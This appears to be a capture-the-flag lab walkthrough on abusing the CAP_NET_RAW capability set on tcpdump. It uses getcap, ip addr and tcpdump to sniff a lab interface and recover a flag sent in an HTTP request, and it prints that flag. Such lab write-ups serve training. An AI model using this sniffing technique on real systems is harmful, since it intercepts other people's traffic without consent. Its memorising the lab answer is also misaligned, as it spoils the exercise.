

[illegible]

Name	The Basics: CAP_NET_RAW
URL	https://attackdefense.com/challengedetails?cid=1346
Type	Privilege Escalation : Linux Capabilities

Important Note: This document illustrates all the important steps required to complete this lab. This is by no means a comprehensive step-by-step solution for this exercise. This is only provided as a reference to various commands needed to complete this exercise and for your further research on this topic. Also, note that the IP addresses and domain names might be different in your lab.

Objective: In this lab, you need to abuse the CAP_NET_RAW to get the flag!

Solution:

Step 1: Identify the binaries which have capabilities set.

Command: getcap -r / 2>/dev/null

```
student@localhost:~$ getcap -r / 2>/dev/null
/usr/sbin/tcpdump = cap_net_raw+ep
student@localhost:~$
```

The CAP_NET_RAW capability is set on /usr/sbin/tcpdump binary. As a result, the current user can capture traffic on network interfaces.

Step 2: Check the list of network interfaces.

Command: ip addr

```

student@localhost:~$ ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
        valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
        valid_lft forever preferred_lft forever
2: ens3: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 52:54:00:12:34:56 brd ff:ff:ff:ff:ff:ff
    inet 10.0.2.15/24 brd 10.0.2.255 scope global ens3
        valid_lft forever preferred_lft forever
    inet6 fec0::5054:ff:fe12:3456/64 scope site dynamic mngtmpaddr noprefixroute
        valid_lft 86254sec preferred_lft 14254sec
    inet6 fe80::5054:ff:fe12:3456/64 scope link
        valid_lft forever preferred_lft forever
student@localhost:~$

```

Only one real interface is present on the machine. Hence, the traffic must be flowing through this.

Step 3: Capture the traffic on ens3. From the given hint, one knows to look for IP 93.184.216.34

Command: tcpdump -ni ens3 host 93.184.216.34

```

student@localhost:~$ tcpdump -ni ens3 host 93.184.216.34
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on ens3, link-type EN10MB (Ethernet), capture size 262144 bytes
03:35:33.654076 IP 93.184.216.34.80 > 192.168.8.206.51985: Flags [.], seq 515412074:515413534, ack 1157305732, win 288, length 1460: HTTP: HTTP
/1.1 404 Not Found
03:35:33.654367 ARP, Request who-has 93.184.216.34 tell 10.0.2.2, length 46
03:35:33.654519 IP 93.184.216.34.80 > 192.168.8.206.51985: Flags [P.], seq 1460:1502, ack 1, win 288, length 42: HTTP
03:35:33.654730 ARP, Request who-has 93.184.216.34 tell 10.0.2.2, length 46
03:35:33.680795 IP 192.168.8.206.51985 > 93.184.216.34.80: Flags [P.], seq 4294967104:1, ack 0, win 513, length 193: HTTP: GET /flag/59860774ff
0a3366564e49a2690f64c4d HTTP/1.1

```

One can observe the flag being transmitted in a GET request.

Flag: 59860774ff0a3366564e49a2690f64c4d

References:

1. Capabilities (<http://man7.org/linux/man-pages/man7/capabilities.7.html>)